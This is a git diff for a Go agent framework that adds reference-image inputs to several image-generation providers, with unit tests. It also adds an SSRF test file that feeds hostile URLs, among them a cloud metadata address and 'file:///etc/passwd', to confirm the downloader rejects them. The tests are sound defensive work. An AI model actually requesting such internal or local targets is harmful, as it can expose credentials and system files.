"response_format": "b64_json", + } + + jsonBody, err := json.Marshal(body) + if err != nil { + return nil, nil, fmt.Errorf("marshal request: %w", err) + } + + url := strings.TrimRight(apiBase, "/") + "/images/edits" + req, err := http.NewRequestWithContext(ctx, "POST", url, bytes.NewReader(jsonBody)) + if err != nil { + return nil, nil, fmt.Errorf("create request: %w", err) + } + req.Header.Set("Content-Type", "application/json") + req.Header.Set("Authorization", "Bearer "+apiKey) + + client := &http.Client{} + resp, err := client.Do(req) + if err != nil { + return nil, nil, fmt.Errorf("http request: %w", err) + } + defer resp.Body.Close() + + respBody, err := io.ReadAll(resp.Body) + if err != nil { + return nil, nil, fmt.Errorf("read response: %w", err) + } + if resp.StatusCode != http.StatusOK { + return nil, nil, fmt.Errorf("API error %d: %s", resp.StatusCode, truncateBytes(respBody, 500)) + } + + var imgResp struct { + Data []struct { + B64JSON string `json:"b64_json"` + } `json:"data"` + } + if err := json.Unmarshal(respBody, &imgResp); err != nil { + return nil, nil, fmt.Errorf("parse response: %w", err) + } + if len(imgResp.Data) == 0 || imgResp.Data[0].B64JSON == "" { + return nil, nil, fmt.Errorf("no image data in response") + } + + imageBytes, err := base64.StdEncoding.DecodeString(imgResp.Data[0].B64JSON) + if err != nil { + return nil, nil, fmt.Errorf("decode base64: %w", err) + } + + return imageBytes, nil, nil +} + // callGeminiNativeImageGen uses the native Gemini generateContent API with responseModalities. // Gemini image models require this endpoint — they don't support OpenAI-compat endpoints. func (t *CreateImageTool) callGeminiNativeImageGen(ctx context.Context, apiKey, apiBase, model, prompt string, params map[string]any) ([]byte, *providers.Usage, error) { @@ -325,9 +862,44 @@ func (t *CreateImageTool) callGeminiNativeImageGen(ctx context.Context, apiKey, url := fmt.Sprintf("%s/models/%s:generateContent?key=%s", nativeBase, model, apiKey) + parts := []map[string]any{ + {"text": prompt}, + } + if rawImgs, ok := params["ref_images"]; ok { + if refImgs, ok := rawImgs.([]*referenceImage); ok { + for _, refImg := range refImgs { + var dataB64 string + var mime string + if refImg.Base64 != "" { + dataB64 = refImg.Base64 + mime = refImg.MimeType + } else if refImg.URL != "" { + dataBytes, contentType, err := t.downloadImageBytes(ctx, refImg.URL) + if err == nil { + dataB64 = base64.StdEncoding.EncodeToString(dataBytes) + mime = contentType + } else { + slog.Warn("gemini native image gen: failed to download reference image from URL", "url", refImg.URL, "error", err) + } + } + if dataB64 != "" { + if mime == "" { + mime = "image/png" + } + parts = append(parts, map[string]any{ + "inlineData": map[string]any{ + "mimeType": mime, + "data": dataB64, + }, + }) + } + } + } + } + body := map[string]any{ "contents": []map[string]any{ - {"parts": []map[string]any{{"text": prompt}}}, + {"parts": parts}, }, "generationConfig": map[string]any{ "responseModalities": []string{"TEXT", "IMAGE"}, diff --git a/internal/tools/create_image_byteplus.go b/internal/tools/create_image_byteplus.go index 01f69c51..478cbc04 100644 --- a/internal/tools/create_image_byteplus.go +++ b/internal/tools/create_image_byteplus.go @@ -47,6 +47,26 @@ func callBytePlusImageGen(ctx context.Context, apiKey, apiBase, model, prompt st "response_format": "url", } + if rawImgs, ok := params["ref_images"]; ok { + if refImgs, ok := rawImgs.([]*referenceImage); ok && len(refImgs) > 0 { + if len(refImgs) > 1 { + slog.Warn("byteplus image gen: provider only supports 1 reference image, using the first one", "count", len(refImgs)) + } + refImg := refImgs[0] + var refURL string + if refImg.URL != "" { + refURL = refImg.URL + } else { + refMime := refImg.MimeType + if refMime == "" { + refMime = "image/png" + } + refURL = fmt.Sprintf("data:%s;base64,%s", refMime, refImg.Base64) + } + body["image"] = refURL + } + } + jsonBody, err := json.Marshal(body) if err != nil { return nil, nil, fmt.Errorf("marshal request: %w", err) diff --git a/internal/tools/create_image_dashscope.go b/internal/tools/create_image_dashscope.go index 3cd6c35f..c5bf3a7d 100644 --- a/internal/tools/create_image_dashscope.go +++ b/internal/tools/create_image_dashscope.go @@ -86,18 +86,42 @@ func callDashScopeImageGen(ctx context.Context, apiKey, apiBase, model, prompt s endpoint := dashScopeImageEndpoint(apiBase) + inputBody := map[string]any{ + "messages": []map[string]any{ + {"role": "user", "content": prompt}, + }, + } + parametersBody := map[string]any{ + "n": 1, + "size": size, + "prompt_extend": promptExtend, + } + + if rawImgs, ok := params["ref_images"]; ok { + if refImgs, ok := rawImgs.([]*referenceImage); ok && len(refImgs) > 0 { + if len(refImgs) > 1 { + slog.Warn("dashscope image gen: provider only supports 1 reference image, using the first one", "count", len(refImgs)) + } + refImg := refImgs[0] + var refURL string + if refImg.URL != "" { + refURL = refImg.URL + } else { + refMime := refImg.MimeType + if refMime == "" { + refMime = "image/png" + } + refURL = fmt.Sprintf("data:%s;base64,%s", refMime, refImg.Base64) + } + inputBody["ref_img"] = refURL + parametersBody["ref_strength"] = refImg.Strength + } + } + body := map[string]any{ - "model": model, - "input": map[string]any{ - "messages": []map[string]any{ - {"role": "user", "content": prompt}, - }, - }, - "parameters": map[string]any{ - "n": 1, - "size": size, - "prompt_extend": promptExtend, - }, + "model": model, + "input": inputBody, + "parameters": parametersBody, } jsonBody, err := json.Marshal(body) diff --git a/internal/tools/create_image_minimax.go b/internal/tools/create_image_minimax.go index d9a52a97..6f5247eb 100644 --- a/internal/tools/create_image_minimax.go +++ b/internal/tools/create_image_minimax.go @@ -7,6 +7,7 @@ import ( "encoding/json" "fmt" "io" + "log/slog" "net/http" "strings" @@ -55,6 +56,31 @@ func callMinimaxImageGen(ctx context.Context, apiKey, apiBase, model, prompt str "response_format": "base64", } + if rawImgs, ok := params["ref_images"]; ok { + if refImgs, ok := rawImgs.([]*referenceImage); ok && len(refImgs) > 0 { + if len(refImgs) > 1 { + slog.Warn("minimax image gen: provider only supports 1 reference image, using the first one", "count", len(refImgs)) + } + refImg := refImgs[0] + var refURL string + if refImg.URL != "" { + refURL = refImg.URL + } else { + refMime := refImg.MimeType + if refMime == "" { + refMime = "image/png" + } + refURL = fmt.Sprintf("data:%s;base64,%s", refMime, refImg.Base64) + } + body["subject_reference"] = []map[string]any{ + { + "type": "character", + "image_file": refURL, + }, + } + } + } + jsonBody, err := json.Marshal(body) if err != nil { return nil, nil, fmt.Errorf("marshal request: %w", err) diff --git a/internal/tools/create_image_native_path_test.go b/internal/tools/create_image_native_path_test.go index bd0c7020..397a6196 100644 --- a/internal/tools/create_image_native_path_test.go +++ b/internal/tools/create_image_native_path_test.go @@ -2,6 +2,14 @@ package tools import ( "context" + "encoding/base64" + "encoding/json" + "io" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "strings" "testing" "github.com/nextlevelbuilder/goclaw/internal/providers" @@ -18,7 +26,7 @@ type nativeImageProvider struct { } func (p *nativeImageProvider) Name() string { return p.name } -func (p *nativeImageProvider) DefaultModel() string { return p.model } +func (p *nativeImageProvider) DefaultModel() string { return p.model } func (p *nativeImageProvider) Chat(_ context.Context, _ providers.ChatRequest) (*providers.ChatResponse, error) { return &providers.ChatResponse{}, nil } @@ -256,3 +264,482 @@ func TestCreateImageTool_ThreadsImageModel(t *testing.T) { }) } } + +func TestCreateImageTool_ResolveReferenceImage_Path(t *testing.T) { + tmpDir := t.TempDir() + refFile := filepath.Join(tmpDir, "ref.png") + pngBytes := []byte{0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a} + if err := os.WriteFile(refFile, pngBytes, 0644); err != nil { + t.Fatalf("failed to write temp ref file: %v", err) + } + + fakeProvider := &nativeImageProvider{ + name: "openai-codex", + model: "gpt-image-2", + returnData: pngBytes, + } + + reg := providers.NewRegistry(nil) + reg.Register(fakeProvider) + + tool := NewCreateImageTool(reg) + ctx := WithToolWorkspace(context.Background(), tmpDir) + + chainJSON := []byte(`{"providers":[{"provider":"openai-codex","model":"gpt-image-2","enabled":true,"timeout":30,"max_retries":1}]}`) + settings := BuiltinToolSettings{"create_image": chainJSON} + ctx = WithBuiltinToolSettings(ctx, settings) + + result := tool.Execute(ctx, map[string]any{ + "prompt": "generate a picture", + "ref_images": []any{map[string]any{"path": refFile}}, + }) + + if result.IsError { + t.Fatalf("Execute returned error: %q", result.ForLLM) + } + + if fakeProvider.calledWith == nil { + t.Fatal("GenerateImage was not called") + } + + if len(fakeProvider.calledWith.RefImages) != 1 { + t.Fatalf("expected 1 reference image, got %d", len(fakeProvider.calledWith.RefImages)) + } + if fakeProvider.calledWith.RefImages[0].Base64 == "" { + t.Error("RefImages[0].Base64 was not populated") + } + if fakeProvider.calledWith.RefImages[0].Strength != 0.6 { + t.Errorf("RefImages[0].Strength = %f, want 0.6", fakeProvider.calledWith.RefImages[0].Strength) + } +} + +func TestCreateImageTool_ResolveReferenceImage_URL(t *testing.T) { + fakeProvider := &nativeImageProvider{ + name: "openai-codex", + model: "gpt-image-2", + returnData: []byte{0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a}, + } + + reg := providers.NewRegistry(nil) + reg.Register(fakeProvider) + + tool := NewCreateImageTool(reg) + ctx := WithToolWorkspace(context.Background(), t.TempDir()) + + chainJSON := []byte(`{"providers":[{"provider":"openai-codex","model":"gpt-image-2","enabled":true,"timeout":30,"max_retries":1}]}`) + settings := BuiltinToolSettings{"create_image": chainJSON} + ctx = WithBuiltinToolSettings(ctx, settings) + + result := tool.Execute(ctx, map[string]any{ + "prompt": "generate a picture", + "ref_images": []any{map[string]any{"url": "https://example.com/ref.png"}}, + }) + + if result.IsError { + t.Fatalf("Execute returned error: %q", result.ForLLM) + } + + if fakeProvider.calledWith == nil { + t.Fatal("GenerateImage was not called") + } + + if len(fakeProvider.calledWith.RefImages) != 1 { + t.Fatalf("expected 1 reference image, got %d", len(fakeProvider.calledWith.RefImages)) + } + if fakeProvider.calledWith.RefImages[0].URL != "https://example.com/ref.png" { + t.Errorf("RefImageUrl = %q, want https://example.com/ref.png", fakeProvider.calledWith.RefImages[0].URL) + } +} + +func TestCreateImageTool_ResolveReferenceImage_ID(t *testing.T) { + fakeProvider := &nativeImageProvider{ + name: "openai-codex", + model: "gpt-image-2", + returnData: []byte{0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a}, + } + + reg := providers.NewRegistry(nil) + reg.Register(fakeProvider) + + tool := NewCreateImageTool(reg) + ctx := WithToolWorkspace(context.Background(), t.TempDir()) + + // Put mock image content in context + mockImg := providers.ImageContent{ + MimeType: "image/png", + Data: "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==", // 1x1 png base64 + } + ctx = WithMediaImages(ctx, []providers.ImageContent{mockImg}) + + chainJSON := []byte(`{"providers":[{"provider":"openai-codex","model":"gpt-image-2","enabled":true,"timeout":30,"max_retries":1}]}`) + settings := BuiltinToolSettings{"create_image": chainJSON} + ctx = WithBuiltinToolSettings(ctx, settings) + + result := tool.Execute(ctx, map[string]any{ + "prompt": "generate a picture", + "ref_images": []any{map[string]any{"id": "latest"}}, + }) + + if result.IsError { + t.Fatalf("Execute returned error: %q", result.ForLLM) + } + + if fakeProvider.calledWith == nil { + t.Fatal("GenerateImage was not called") + } + + if len(fakeProvider.calledWith.RefImages) != 1 { + t.Fatalf("expected 1 reference image, got %d", len(fakeProvider.calledWith.RefImages)) + } + if fakeProvider.calledWith.RefImages[0].Base64 != mockImg.Data { + t.Errorf("RefImageBase64 = %q, want %q", fakeProvider.calledWith.RefImages[0].Base64, mockImg.Data) + } +} + +func TestCreateImageTool_MultipleReferenceImages_MixedSources(t *testing.T) { + tmpDir := t.TempDir() + refFile := filepath.Join(tmpDir, "ref.png") + pngBytes := []byte{0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a} + if err := os.WriteFile(refFile, pngBytes, 0644); err != nil { + t.Fatalf("failed to write temp ref file: %v", err) + } + + fakeProvider := &nativeImageProvider{ + name: "openai-codex", + model: "gpt-image-2", + returnData: pngBytes, + } + + reg := providers.NewRegistry(nil) + reg.Register(fakeProvider) + + tool := NewCreateImageTool(reg) + ctx := WithToolWorkspace(context.Background(), tmpDir) + + chainJSON := []byte(`{"providers":[{"provider":"openai-codex","model":"gpt-image-2","enabled":true,"timeout":30,"max_retries":1}]}`) + settings := BuiltinToolSettings{"create_image": chainJSON} + ctx = WithBuiltinToolSettings(ctx, settings) + + result := tool.Execute(ctx, map[string]any{ + "prompt": "generate a picture", + "ref_images": []any{ + map[string]any{ + "path": refFile, + "strength": 0.9, + }, + map[string]any{ + "url": "https://example.com/ref2.png", + "strength": 0.4, + }, + }, + }) + + if result.IsError { + t.Fatalf("Execute returned error: %q", result.ForLLM) + } + + if fakeProvider.calledWith == nil { + t.Fatal("GenerateImage was not called") + } + + if len(fakeProvider.calledWith.RefImages) != 2 { + t.Fatalf("expected 2 reference images, got %d", len(fakeProvider.calledWith.RefImages)) + } + + // Verify image 1 (path) + if fakeProvider.calledWith.RefImages[0].Base64 == "" { + t.Error("RefImages[0].Base64 was not populated") + } + if fakeProvider.calledWith.RefImages[0].Strength != 0.9 { + t.Errorf("RefImages[0].Strength = %f, want 0.9", fakeProvider.calledWith.RefImages[0].Strength) + } + + // Verify image 2 (url) + if fakeProvider.calledWith.RefImages[1].URL != "https://example.com/ref2.png" { + t.Errorf("RefImages[1].URL = %q, want https://example.com/ref2.png", fakeProvider.calledWith.RefImages[1].URL) + } + if fakeProvider.calledWith.RefImages[1].Strength != 0.4 { + t.Errorf("RefImages[1].Strength = %f, want 0.4", fakeProvider.calledWith.RefImages[1].Strength) + } +} + +type fakeCreds struct { + key string + base string +} + +func (c fakeCreds) APIKey() string { return c.key } +func (c fakeCreds) APIBase() string { return c.base } + +func TestCreateImageTool_OpenAIEdits_JSON(t *testing.T) { + pngBytes := []byte{0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a, 0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52} + mockResponse := `{ + "data": [ + { + "b64_json": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==" + } + ] + }` + + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path != "/images/edits" { + t.Errorf("expected path /images/edits, got %s", r.URL.Path) + } + ct := r.Header.Get("Content-Type") + if !strings.HasPrefix(ct, "application/json") { + t.Errorf("expected application/json content type, got %s", ct) + } + bodyBytes, err := io.ReadAll(r.Body) + if err != nil { + t.Fatalf("failed to read body: %v", err) + } + var reqBody struct { + Model string `json:"model"` + Prompt string `json:"prompt"` + ResponseFormat string `json:"response_format"` + Images []struct { + ImageURL string `json:"image_url"` + } `json:"images"` + } + if err := json.Unmarshal(bodyBytes, &reqBody); err != nil { + t.Fatalf("failed to unmarshal body: %v", err) + } + if reqBody.Prompt != "sunny beach" { + t.Errorf("expected prompt 'sunny beach', got %s", reqBody.Prompt) + } + if reqBody.Model != "gpt-image-2" { + t.Errorf("expected model 'gpt-image-2', got %s", reqBody.Model) + } + if reqBody.ResponseFormat != "b64_json" { + t.Errorf("expected response_format 'b64_json', got %s", reqBody.ResponseFormat) + } + if len(reqBody.Images) != 1 { + t.Fatalf("expected 1 image, got %d", len(reqBody.Images)) + } + expectedURL := "data:image/png;base64," + base64.StdEncoding.EncodeToString(pngBytes) + if reqBody.Images[0].ImageURL != expectedURL { + t.Errorf("image url mismatch") + } + + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusOK) + w.Write([]byte(mockResponse)) + })) + defer server.Close() + + creds := fakeCreds{key: "fake-key", base: server.URL} + reg := providers.NewRegistry(nil) + tool := NewCreateImageTool(reg) + ctx := WithToolWorkspace(context.Background(), t.TempDir()) + + refImg := &referenceImage{ + Data: pngBytes, + MimeType: "image/png", + } + + params := map[string]any{ + "prompt": "sunny beach", + "ref_images": []*referenceImage{refImg}, + "_provider_type": "openai", + } + + imageBytes, _, err := tool.callProvider(ctx, creds, "openai", "gpt-image-2", params) + if err != nil { + t.Fatalf("callProvider returned error: %v", err) + } + + if len(imageBytes) == 0 { + t.Error("returned imageBytes is empty") + } +} + +func TestCreateImageTool_DeduplicateReferenceImages(t *testing.T) { + fakeProvider := &nativeImageProvider{ + name: "openai-codex", + model: "gpt-image-2", + returnData: []byte{0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a}, + } + + reg := providers.NewRegistry(nil) + reg.Register(fakeProvider) + + tool := NewCreateImageTool(reg) + ctx := WithToolWorkspace(context.Background(), t.TempDir()) + + chainJSON := []byte(`{"providers":[{"provider":"openai-codex","model":"gpt-image-2","enabled":true,"timeout":30,"max_retries":1}]}`) + settings := BuiltinToolSettings{"create_image": chainJSON} + ctx = WithBuiltinToolSettings(ctx, settings) + + // Pass duplicate parameters as sent by the user + url1 := "https://example.com/image1.png" + url2 := "https://example.com/image2.png" + + result := tool.Execute(ctx, map[string]any{ + "prompt": "generate a picture", + "ref_images": []any{ + map[string]any{ + "url": url1, + "strength": 0.8, + }, + map[string]any{ + "url": url2, + "strength": 0.8, + }, + map[string]any{ + "url": url1, // Duplicated + "strength": 0.8, + }, + map[string]any{ + "url": url2, // Duplicated + "strength": 0.8, + }, + }, + }) + + if result.IsError { + t.Fatalf("Execute returned error: %q", result.ForLLM) + } + + if fakeProvider.calledWith == nil { + t.Fatal("GenerateImage was not called") + } + + // Verify that the length is 2 instead of 4 + gotLen := len(fakeProvider.calledWith.RefImages) + if gotLen != 2 { + t.Fatalf("expected 2 unique reference images, got %d (duplicated URL error!)", gotLen) + } + + // Verify that the priority order of ref_images is preserved (strength = 0.8) + if fakeProvider.calledWith.RefImages[0].Strength != 0.8 { + t.Errorf("RefImages[0].Strength = %f, want 0.8", fakeProvider.calledWith.RefImages[0].Strength) + } + if fakeProvider.calledWith.RefImages[1].Strength != 0.8 { + t.Errorf("RefImages[1].Strength = %f, want 0.8", fakeProvider.calledWith.RefImages[1].Strength) + } +} + +func TestCreateImageTool_OpenAIEdits_JSON_MultipleImages(t *testing.T) { + pngBytes1 := []byte{0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a, 0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52} + pngBytes2 := []byte{0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a, 0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x53} + mockResponse := `{ + "data": [ + { + "b64_json": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==" + } + ] + }` + + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path != "/images/edits" { + t.Errorf("expected path /images/edits, got %s", r.URL.Path) + } + ct := r.Header.Get("Content-Type") + if !strings.HasPrefix(ct, "application/json") { + t.Errorf("expected application/json content type, got %s", ct) + } + bodyBytes, err := io.ReadAll(r.Body) + if err != nil { + t.Fatalf("failed to read body: %v", err) + } + var reqBody struct { + Prompt string `json:"prompt"` + Images []struct { + ImageURL string `json:"image_url"` + } `json:"images"` + } + if err := json.Unmarshal(bodyBytes, &reqBody); err != nil { + t.Fatalf("failed to unmarshal body: %v", err) + } + if reqBody.Prompt != "two captains" { + t.Errorf("expected prompt 'two captains', got %s", reqBody.Prompt) + } + if len(reqBody.Images) != 2 { + t.Fatalf("expected 2 images, got %d", len(reqBody.Images)) + } + expectedURL1 := "data:image/png;base64," + base64.StdEncoding.EncodeToString(pngBytes1) + expectedURL2 := "data:image/png;base64," + base64.StdEncoding.EncodeToString(pngBytes2) + if reqBody.Images[0].ImageURL != expectedURL1 || reqBody.Images[1].ImageURL != expectedURL2 { + t.Error("images mismatch") + } + + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusOK) + w.Write([]byte(mockResponse)) + })) + defer server.Close() + + creds := fakeCreds{key: "fake-key", base: server.URL} + reg := providers.NewRegistry(nil) + tool := NewCreateImageTool(reg) + ctx := WithToolWorkspace(context.Background(), t.TempDir()) + + refImg1 := &referenceImage{Data: pngBytes1, MimeType: "image/png"} + refImg2 := &referenceImage{Data: pngBytes2, MimeType: "image/png"} + + params := map[string]any{ + "prompt": "two captains", + "ref_images": []*referenceImage{refImg1, refImg2}, + "_provider_type": "openai", + } + + imageBytes, _, err := tool.callProvider(ctx, creds, "openai", "gpt-image-2", params) + if err != nil { + t.Fatalf("callProvider returned error: %v", err) + } + if len(imageBytes) == 0 { + t.Error("returned imageBytes is empty") + } +} + +func TestCreateImageTool_OpenAIEdits_JSON_WithDescription(t *testing.T) { + pngBytes := []byte{0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a, 0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52} + mockResponse := `{ + "data": [ + { + "b64_json": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==" + } + ] + }` + + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + bodyBytes, err := io.ReadAll(r.Body) + if err != nil { + t.Fatalf("failed to read body: %v", err) + } + var reqBody struct { + Prompt string `json:"prompt"` + } + if err := json.Unmarshal(bodyBytes, &reqBody); err != nil { + t.Fatalf("failed to unmarshal body: %v", err) + } + expectedPrompt := "two captains\n\n[Reference Image Roles]\n- image_1.png: Lâm\n- image_2.png: Quân" + if reqBody.Prompt != expectedPrompt { + t.Errorf("expected prompt %q, got %q", expectedPrompt, reqBody.Prompt) + } + + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusOK) + w.Write([]byte(mockResponse)) + })) + defer server.Close() + + creds := fakeCreds{key: "fake-key", base: server.URL} + reg := providers.NewRegistry(nil) + tool := NewCreateImageTool(reg) + ctx := WithToolWorkspace(context.Background(), t.TempDir()) + + refImg1 := &referenceImage{Data: pngBytes, MimeType: "image/png", Description: "Lâm"} + refImg2 := &referenceImage{Data: pngBytes, MimeType: "image/png", Description: "Quân"} + + params := map[string]any{ + "prompt": "two captains", + "ref_images": []*referenceImage{refImg1, refImg2}, + "_provider_type": "openai", + } + + _, _, err := tool.callProvider(ctx, creds, "openai", "gpt-image-2", params) + if err != nil { + t.Fatalf("callProvider returned error: %v", err) + } +} diff --git a/internal/tools/create_image_ssrf_test.go b/internal/tools/create_image_ssrf_test.go new file mode 100644 index 00000000..70b1d1d0 --- /dev/null +++ b/internal/tools/create_image_ssrf_test.go @@ -0,0 +1,130 @@ +package tools + +import ( + "context" + "net/http" + "net/http/httptest" + "strings" + "testing" + + "github.com/nextlevelbuilder/goclaw/internal/security" +) + +// downloadImageBytes fetches caller-supplied reference image URLs server-side, so +// it must reject SSRF targets and cap the response size. These tests lock that down. + +func TestDownloadImageBytes_BlocksSSRFTargets(t *testing.T) { + // Default: loopback/private/link-local are blocked by the SSRF guard. + tool := NewCreateImageTool(nil) + cases := []struct { + name string + url string + }{ + {"loopback", "http://127.0.0.1:9/x.png"}, + {"private", "http://10.0.0.5/x.png"}, + {"link_local_metadata", "http://169.254.169.254/latest/meta-data/"}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + _, _, err := tool.downloadImageBytes(context.Background(), tc.url) + if err == nil { + t.Fatalf("expected SSRF guard to block %s, got nil error", tc.url) + } + if !strings.Contains(err.Error(), "invalid reference image URL") { + t.Errorf("expected SSRF validation error, got: %v", err) + } + }) + } +} + +func TestDownloadImageBytes_OversizedRejected(t *testing.T) { + security.SetAllowLoopbackForTest(true) + defer security.SetAllowLoopbackForTest(false) + + // Shrink the cap so we don't have to transfer 20 MB. + orig := refImageMaxBytes + refImageMaxBytes = 16 + defer func() { refImageMaxBytes = orig }() + + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Content-Type", "image/png") + w.WriteHeader(http.StatusOK) + _, _ = w.Write([]byte(strings.Repeat("A", 1024))) // well over 16 bytes + })) + defer srv.Close() + + tool := NewCreateImageTool(nil) + _, _, err := tool.downloadImageBytes(context.Background(), srv.URL) + if err == nil { + t.Fatal("expected oversized reference image to be rejected, got nil error") + } + if !strings.Contains(err.Error(), "exceeds maximum size") { + t.Errorf("expected size-limit error, got: %v", err) + } +} + +func TestDownloadImageBytes_HappyPath(t *testing.T) { + security.SetAllowLoopbackForTest(true) + defer security.SetAllowLoopbackForTest(false) + + want := []byte("\x89PNG\r\n\x1a\nfake-image-bytes") + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Content-Type", "image/png") + w.WriteHeader(http.StatusOK) + _, _ = w.Write(want) + })) + defer srv.Close() + + tool := NewCreateImageTool(nil) + got, contentType, err := tool.downloadImageBytes(context.Background(), srv.URL) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if string(got) != string(want) { + t.Errorf("body = %q, want %q", got, want) + } + if contentType != "image/png" { + t.Errorf("contentType = %q, want image/png", contentType) + } +} + +func TestDownloadImageBytes_RejectsRedirect(t *testing.T) { + security.SetAllowLoopbackForTest(true) + defer security.SetAllowLoopbackForTest(false) + + // SafeClient never follows redirects: a 3xx is returned as-is and rejected + // by the non-200 status check (prevents redirect-to-internal SSRF). + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + http.Redirect(w, &http.Request{}, "http://169.254.169.254/", http.StatusFound) + })) + defer srv.Close() + + tool := NewCreateImageTool(nil) + _, _, err := tool.downloadImageBytes(context.Background(), srv.URL) + if err == nil { + t.Fatal("expected redirect to be rejected, got nil error") + } + if !strings.Contains(err.Error(), "HTTP error") { + t.Errorf("expected non-200 status error from unfollowed redirect, got: %v", err) + } +} + +func TestResolveReferenceImages_RejectsNonHTTPScheme(t *testing.T) { + tool := NewCreateImageTool(nil) + for _, bad := range []string{"file:///etc/passwd", "gopher://127.0.0.1/", "data:text/plain,hi"} { + t.Run(bad, func(t *testing.T) { + args := map[string]any{ + "ref_images": []any{ + map[string]any{"url": bad}, + }, + } + _, err := tool.resolveReferenceImages(context.Background(), args) + if err == nil { + t.Fatalf("expected %q to be rejected as non-http(s), got nil error", bad) + } + if !strings.Contains(err.Error(), "must be http(s)") { + t.Errorf("expected scheme error, got: %v", err) + } + }) + } +} From 21fb1f18ee4811b789334cc32ce843b1e93e1d77 Mon Sep 17 00:00:00 2001 From: thotam <78630736+thotam@users.noreply.github.com> Date: Sun, 21 Jun 2026 18:46:37 +0700 Subject: [PATCH 021/252] feat(webhooks): add webhook management UI with delivery history & test (#1211) * feat(webhooks): add webhook management UI with delivery history & test Webhooks admin page on the web dashboard for managing inbound HTTP webhooks (llm + message kinds), backed by new admin endpoints. No schema changes (reuses migrations 000059-000061). Backend (internal/http): - GET /v1/webhooks/{id}/calls - paginated delivery history (trimmed DTO; status/limit/offset filters; ownership + tenant scoped) - GET /v1/webhooks/{id}/calls/{callId} - full single-call detail (request payload, full response, callback URL, idempotency key, timestamps) - POST /v1/webhooks/{id}/test - server-side test invocation using the admin session (no secret); dispatched by kind via RunTest() on the llm/message handlers; message tester nil-guarded (403 on Lite) Injects WebhookCallStore + SetTesters() in cmd/gateway_http_wiring.go, adds i18n key webhook.message_test_requires_standard (en/vi/zh), and unit tests for list/detail (filter, tenant isolation) and test (success/error/edition gate). Frontend (ui/web): - /webhooks admin-only page: list with revoked filter + badge, create/edit form (edition-gated message kind, Lite localhost_only lock), show-once secret dialog (create + rotate), test dialog, and delivery-history dialog with server-side pagination plus a click-through full call-detail dialog. - use-webhooks hooks, query keys, types, routing, sidebar entry (Cable icon to distinguish from the existing event "Hooks" page), webhooks i18n namespace (en/vi/zh). * fix(webhooks): validate admin message tests --------- Co-authored-by: Goon --- cmd/gateway_http_wiring.go | 18 +- internal/http/webhooks_admin.go | 356 +++++++++++++++- internal/http/webhooks_admin_calls_test.go | 388 ++++++++++++++++++ internal/http/webhooks_admin_test.go | 2 +- internal/http/webhooks_llm.go | 131 ++++++ internal/http/webhooks_message.go | 123 ++++++ internal/i18n/catalog_en.go | 45 +- internal/i18n/catalog_vi.go | 45 +- internal/i18n/catalog_zh.go | 45 +- internal/i18n/keys.go | 45 +- ui/web/src/components/layout/sidebar.tsx | 4 + ui/web/src/i18n/index.ts | 7 + ui/web/src/i18n/locales/en/sidebar.json | 1 + ui/web/src/i18n/locales/en/webhooks.json | 151 +++++++ ui/web/src/i18n/locales/vi/sidebar.json | 1 + ui/web/src/i18n/locales/vi/webhooks.json | 151 +++++++ ui/web/src/i18n/locales/zh/sidebar.json | 1 + ui/web/src/i18n/locales/zh/webhooks.json | 151 +++++++ ui/web/src/lib/query-keys.ts | 5 + ui/web/src/lib/routes.ts | 1 + .../src/pages/webhooks/hooks/use-webhooks.ts | 137 +++++++ .../webhooks/webhook-call-detail-dialog.tsx | 113 +++++ .../pages/webhooks/webhook-calls-dialog.tsx | 182 ++++++++ .../pages/webhooks/webhook-form-dialog.tsx | 152 +++++++ .../pages/webhooks/webhook-form-fields.tsx | 192 +++++++++ .../src/pages/webhooks/webhook-list-table.tsx | 151 +++++++ .../pages/webhooks/webhook-secret-dialog.tsx | 79 ++++ .../pages/webhooks/webhook-test-dialog.tsx | 194 +++++++++ ui/web/src/pages/webhooks/webhooks-page.tsx | 182 ++++++++ ui/web/src/routes.tsx | 4 + ui/web/src/types/webhook.ts | 127 ++++++ 31 files changed, 3087 insertions(+), 97 deletions(-) create mode 100644 internal/http/webhooks_admin_calls_test.go create mode 100644 